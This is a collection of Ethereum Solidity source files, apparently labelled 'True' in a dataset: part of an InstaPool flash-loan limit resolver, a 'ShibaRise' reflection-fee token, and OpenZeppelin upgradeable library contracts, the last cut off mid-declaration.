debtCanBorrow; } } contract AaveHelpers is CompoundResolver { /** * @dev get Aave Provider Address */ function getAaveProviderAddress() internal pure returns (address) { return 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8; //mainnet } struct AaveTokenData { uint ltv; uint threshold; bool usageAsCollEnabled; bool borrowEnabled; bool stableBorrowEnabled; bool isActive; } function collateralData(AaveInterface aave, address token) internal view returns(AaveTokenData memory) { AaveTokenData memory aaveTokenData; ( aaveTokenData.ltv, aaveTokenData.threshold, , , aaveTokenData.usageAsCollEnabled, aaveTokenData.borrowEnabled, aaveTokenData.stableBorrowEnabled, aaveTokenData.isActive ) = aave.getReserveConfigurationData(token); return aaveTokenData; } function getAavePrices(AaveProviderInterface AaveProvider, address token) public view returns(uint tokenPrice, uint ethPrice) { uint tokenPriceInETH = AavePriceInterface(AaveProvider.getPriceOracle()).getAssetPrice(token); uint ethPriceDecimals = ChainLinkInterface(getEthPriceFeed()).decimals(); ethPrice = uint(ChainLinkInterface(getEthPriceFeed()).latestAnswer()); ethPrice = ethPrice * (10 ** (18 - ethPriceDecimals)); tokenPrice = wmul(tokenPriceInETH, ethPrice); } function getAaveData(address token, uint ethAmount) public view returns (uint) { AaveProviderInterface AaveProvider = AaveProviderInterface(getAaveProviderAddress()); AaveInterface aave = AaveInterface(AaveProvider.getLendingPool()); AaveCoreInterface aaveCore = AaveCoreInterface(AaveProvider.getLendingPoolCore()); if (aaveCore.getReserveATokenAddress(token) == address(0)) return 0; AaveTokenData memory aaveToken = collateralData(aave, token); AaveTokenData memory aaveEthToken = collateralData(aave, getEthAddress()); if (!aaveToken.borrowEnabled) return 0; (uint tokenPrice, uint ethPrice) = getAavePrices(AaveProvider, token); uint ethColl = wmul(ethAmount, ethPrice); uint cf = sub(aaveEthToken.ltv, 1) * (10 ** 16); ethColl = wmul(ethColl, cf); uint debtCanBorrow = wdiv(ethColl, tokenPrice); return debtCanBorrow; } } contract AaveV2Helpers is AaveHelpers { /** * @dev get Aave Provider Address */ function getAaveV2ProviderAddress() internal pure returns (address) { return 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5; //mainnet } function collateralData(AaveV2Interface aave, address token) internal view returns(AaveTokenData memory) { AaveTokenData memory aaveTokenData; ( , aaveTokenData.ltv, aaveTokenData.threshold, , , aaveTokenData.usageAsCollEnabled, aaveTokenData.borrowEnabled, aaveTokenData.stableBorrowEnabled, aaveTokenData.isActive , ) = aave.getReserveConfigurationData(token); return aaveTokenData; } function getAaveV2Prices(AaveProviderInterface AaveProvider, address token) public view returns(uint tokenPrice, uint ethPrice) { uint tokenPriceInETH = AavePriceInterface(AaveProvider.getPriceOracle()).getAssetPrice(token); uint ethPriceDecimals = ChainLinkInterface(getEthPriceFeed()).decimals(); ethPrice = uint(ChainLinkInterface(getEthPriceFeed()).latestAnswer()); ethPrice = ethPrice * (10 ** (18 - ethPriceDecimals)); tokenPrice = wmul(tokenPriceInETH, ethPrice); } function getAaveV2Data(address token, uint ethAmount) public view returns (uint) { AaveProviderInterface AaveProvider = AaveProviderInterface(getAaveV2ProviderAddress()); AaveV2Interface aave = AaveV2Interface(AaveProvider.getLendingPool()); AaveCoreInterface aaveCore = AaveCoreInterface(AaveProvider.getLendingPoolCore()); if (aaveCore.getReserveATokenAddress(token) == address(0)) return 0; AaveTokenData memory aaveToken = collateralData(aave, token); AaveTokenData memory aaveEthToken = collateralData(aave, getEthAddress()); if (!aaveToken.borrowEnabled) return 0; (uint tokenPrice, uint ethPrice) = getAaveV2Prices(AaveProvider, token); uint ethColl = wmul(ethAmount, ethPrice); uint cf = sub(aaveEthToken.ltv, 1) * (10 ** 16); ethColl = wmul(ethColl, cf); uint debtCanBorrow = wdiv(ethColl, tokenPrice); return debtCanBorrow; } } contract MakerHelpers is AaveV2Helpers { /** * @dev get MakerDAO MCD Address contract */ function getMcdAddresses() public pure returns (address) { return 0xF23196DF1C440345DE07feFbe556a5eF0dcD29F0; } /** * @dev get Dai address */ function getDaiAddress() public pure returns (address) { return 0x6B175474E89094C44Da98b954EedeAC495271d0F; } /** * @dev Convert String to bytes32. */ function stringToBytes32(string memory str) internal pure returns (bytes32 result) { require(bytes(str).length != 0, "String-Empty"); // solium-disable-next-line security/no-inline-assembly assembly { result := mload(add(str, 32)) } } function getColPrice(bytes32 ilk) internal view returns (uint price) { address spot = InstaMcdAddress(getMcdAddresses()).spot(); address vat = InstaMcdAddress(getMcdAddresses()).vat(); (, uint mat) = SpotLike(spot).ilks(ilk); (,,uint spotPrice,,) = VatLike(vat).ilks(ilk); price = rmul(mat, spotPrice); } function getColRatio(bytes32 ilk) internal view returns (uint ratio) { address spot = InstaMcdAddress(getMcdAddresses()).spot(); (, ratio) = SpotLike(spot).ilks(ilk); ratio = rdiv(RAY, ratio); } } contract MakerResolver is MakerHelpers { function getMakerData(address token, uint ethAmt) public view returns (uint) { if (token != getDaiAddress()) return 0; bytes32 ilk = stringToBytes32("ETH-A"); uint ethPrice = getColPrice(ilk); ethPrice = ethPrice / 10 ** 9; uint cf = getColRatio(ilk) / 10 ** 9; uint ethColl = wmul(ethAmt, ethPrice); ethColl = wmul(ethColl, cf); uint debtCanBorrow = ethColl; return debtCanBorrow; } } contract DydxFlashloanHelper is MakerResolver { /** * @dev get Dydx Solo Address */ function getSoloAddress() public pure returns (address addr) { addr = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; } } contract DydxFlashloanResolver is DydxFlashloanHelper { struct RouteData { uint dydx; uint maker; uint compound; uint aave; uint aaveV2; } function getTokenLimit(address token) public view returns (RouteData memory){ RouteData memory routeData; uint ethBalanceSolo = TokenInterface(getWethAddress()).balanceOf(getSoloAddress()); routeData.dydx = token == getEthAddress() ? ethBalanceSolo : TokenInterface(token).balanceOf(getSoloAddress()); routeData.dydx = wmul(routeData.dydx, 99 * 10 ** 16); routeData.maker = getMakerData(token, ethBalanceSolo); routeData.compound = getCompoundData(token, ethBalanceSolo); routeData.aave = getAaveData(token, ethBalanceSolo); routeData.aaveV2 = getAaveV2Data(token, ethBalanceSolo); return routeData; } function getTokensLimit(address[] memory tokens) public view returns (RouteData[] memory){ uint _len = tokens.length; RouteData[] memory routeData = new RouteData[](_len); for (uint i = 0; i < _len; i++) { routeData[i] = getTokenLimit(tokens[i]); } return routeData; } } contract InstaPoolResolver is DydxFlashloanResolver { string public constant name = "instapool-Resolver-v2.2"; }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-18 */ pragma solidity ^0.7.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ShibaRise is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'ShibaRise'; string private _symbol = 'ShibaRise'; uint8 private _decimals = 9; constructor () { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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// File: @openzeppelin/upgrades/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin/upgrades/contracts/cryptography/ECDSA.sol pragma solidity ^0.5.2; /** * @title Elliptic curve signature operations * @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d * TODO Remove this library once solidity supports passing a signature to ecrecover. * See https://github.com/ethereum/solidity/issues/864 * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/79dd498b16b957399f84b9aa7e720f98f9eb83e3/contracts/cryptography/ECDSA.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla implementation from an openzeppelin version. */ library OpenZeppelinUpgradesECDSA { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param signature bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /** * toEthSignedMessageHash * @dev prefix a bytes32 value with "\x19Ethereum Signed Message:" * and hash the result */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts-ethereum-package/contracts/access/Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: @openzeppelin/contracts-ethereum-package/contracts/access/roles/WhitelistAdminRole.sol pragma solidity ^0.5.0; /** * @title WhitelistAdminRole * @dev WhitelistAdmins are responsible for assigning and removing Whitelisted accounts. */ contract WhitelistAdminRole is Initializable, Context { using Roles for Roles.Role; event WhitelistAdminAdded(address indexed account); event WhitelistAdminRemoved(address indexed account); Roles.Role private _whitelistAdmins; function initialize(address sender) public initializer { if (!isWhitelistAdmin(sender)) { _addWhitelistAdmin(sender); } } modifier onlyWhitelistAdmin() { require(isWhitelistAdmin(_msgSender()), "WhitelistAdminRole: caller does not have the WhitelistAdmin role"); _; } function isWhitelistAdmin(address account) public view returns (bool) { return _whitelistAdmins.has(account); } function addWhitelistAdmin(address account) public onlyWhitelistAdmin { _addWhitelistAdmin(account); } function renounceWhitelistAdmin() public { _removeWhitelistAdmin(_msgSender()); } function _addWhitelistAdmin(address account) internal { _whitelistAdmins.add(account); emit WhitelistAdminAdded(account); } function _removeWhitelistAdmin(address account) internal { _whitelistAdmins.remove(account); emit WhitelistAdminRemoved(account); } uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/access/roles/WhitelistedRole.sol pragma solidity ^0.5.0; /** * @title WhitelistedRole * @dev Whitelisted accounts have been approved by a WhitelistAdmin to perform certain actions (e.g. participate in a * crowdsale). This role is special in that the only accounts that can add it are WhitelistAdmins (who can also remove * it), and not Whitelisteds themselves. */ contract WhitelistedRole is Initializable, Context, WhitelistAdminRole { using Roles for Roles.Role; event WhitelistedAdded(address indexed 